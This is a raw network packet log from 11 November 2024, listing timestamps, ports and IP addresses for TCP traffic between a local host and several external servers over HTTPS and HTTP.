Nov 11, 2024 19:17:57.657345057 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.657361031 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.657371998 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.657377005 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.659581900 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.659600973 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.659662962 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.659794092 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.659805059 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.703104973 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:57.703159094 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:57.703233957 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:57.703531981 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:57.703551054 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.128356934 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.128802061 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:58.128829956 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.129920006 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.129966974 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:58.131892920 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:58.131968975 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.187612057 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.188174963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:58.188247919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:58.188513041 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.188987970 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.189007998 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.189501047 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.189506054 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.191106081 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.192734957 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.198084116 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.198108912 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.198637962 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.198645115 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.199251890 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.199264050 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.199707985 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.199712992 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.201258898 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.201280117 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.201828003 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.201832056 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.206973076 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:58.206981897 CET	443	49924	23.44.203.19	192.168.2.7
Nov 11, 2024 19:17:58.279398918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:58.284761906 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.284796953 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.284854889 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.284888983 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.284928083 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.285147905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:58.288214922 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.288273096 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.288604021 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.292104006 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.292170048 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.292232037 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.293507099 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.293530941 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.293561935 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.293569088 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.294488907 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.294528961 CET	49923	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.294548988 CET	443	49923	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.294734955 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.294781923 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.297044039 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.297056913 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.297066927 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.297072887 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.298268080 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.298279047 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.300363064 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.300404072 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.300483942 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.301336050 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.301368952 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.301480055 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.303385019 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.303402901 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.303677082 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.303692102 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.307557106 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.307576895 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.307770967 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.307858944 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.307868958 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.309860945 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.309883118 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.309941053 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.310451984 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.310460091 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.405132055 CET	49924	443	192.168.2.7	23.44.203.19
Nov 11, 2024 19:17:58.482551098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:58.482609034 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:58.487660885 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:58.492517948 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:58.492615938 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:58.493009090 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:58.497903109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:58.675306082 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.675854921 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.675867081 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.676390886 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.676394939 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.777529955 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.777715921 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.777791977 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.777966976 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.777987957 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.778002977 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.778007984 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.781790972 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.781829119 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.781913042 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.782119036 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.782128096 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.821162939 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.821850061 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.821868896 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.822340965 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.822345972 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.823005915 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.823415041 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.823426008 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.823765039 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.823770046 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.828268051 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.828645945 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.828664064 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.829046965 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.829054117 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.831062078 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.831470966 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.831507921 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.831989050 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.831994057 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.915574074 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.915604115 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.915654898 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.915720940 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.915720940 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.915985107 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.916001081 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.916065931 CET	49925	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.916071892 CET	443	49925	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.918540001 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.918615103 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.918946981 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.919019938 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.919019938 CET	49927	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.919029951 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.919038057 CET	443	49927	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.919994116 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.920037985 CET	443	49931	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.920106888 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.920372009 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.920386076 CET	443	49931	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.923058987 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.923095942 CET	443	49932	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.923156977 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.923521996 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.923578978 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.923638105 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.924379110 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.924388885 CET	443	49932	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.925201893 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.925216913 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.925230980 CET	49926	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.925235987 CET	443	49926	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.926740885 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.926803112 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.926858902 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.927217007 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.927217007 CET	49928	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.927227020 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.927236080 CET	443	49928	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.930526018 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.930569887 CET	443	49933	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.930625916 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.931857109 CET	49934	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.931870937 CET	443	49934	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.932024002 CET	49934	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.932292938 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.932310104 CET	443	49933	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:58.932478905 CET	49934	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:58.932491064 CET	443	49934	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.133402109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133439064 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133452892 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133492947 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133505106 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133512974 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.133517027 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133531094 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133543968 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133579016 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.133614063 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.133632898 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133646011 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.133682013 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.135896921 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.135925055 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.135940075 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.135987043 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.136002064 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.136042118 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.136042118 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.136053085 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.136079073 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.136128902 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.138364077 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.138405085 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.138417006 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.138430119 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.138452053 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.138452053 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.140259027 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.140273094 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.140285969 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.140290976 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.246546030 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246562958 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246572971 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246587038 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246599913 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246617079 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.246633053 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.246663094 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.246711016 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247055054 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247096062 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247113943 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247127056 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247131109 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247140884 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247148037 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247164965 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247240067 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247864962 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247878075 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247890949 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247934103 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247947931 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247961044 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.247970104 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.247973919 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248012066 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.248012066 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.248807907 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248827934 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248842001 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248873949 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248888969 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248900890 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.248902082 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.248900890 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.248920918 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.248974085 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.251069069 CET	49935	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.251107931 CET	443	49935	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.251219034 CET	49935	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.251452923 CET	49935	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:59.251465082 CET	443	49935	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:59.251606941 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.251665115 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.306436062 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.308856010 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.308872938 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.309470892 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.309475899 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.368874073 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.368900061 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.368911982 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.368982077 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.368998051 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369009018 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369013071 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369025946 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369038105 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369052887 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369055986 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369069099 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369080067 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369086027 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369086027 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369093895 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369112968 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369200945 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369313002 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369334936 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369347095 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369381905 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369399071 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369455099 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369467020 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369484901 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369496107 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369503975 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369503975 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369509935 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369522095 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369527102 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369540930 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369553089 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.369558096 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369558096 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369589090 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.369589090 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370173931 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370244026 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370255947 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370296001 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370306969 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370317936 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370325089 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370332003 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370343924 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370352030 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370352030 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370362043 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370376110 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370387077 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.370404005 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370404005 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.370429993 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371136904 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371181965 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371227026 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371237993 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371257067 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371268034 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371268988 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371279955 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371289968 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371292114 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371306896 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371309996 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371309996 CET	49929	80	192.168.2.7	185.215.113.16
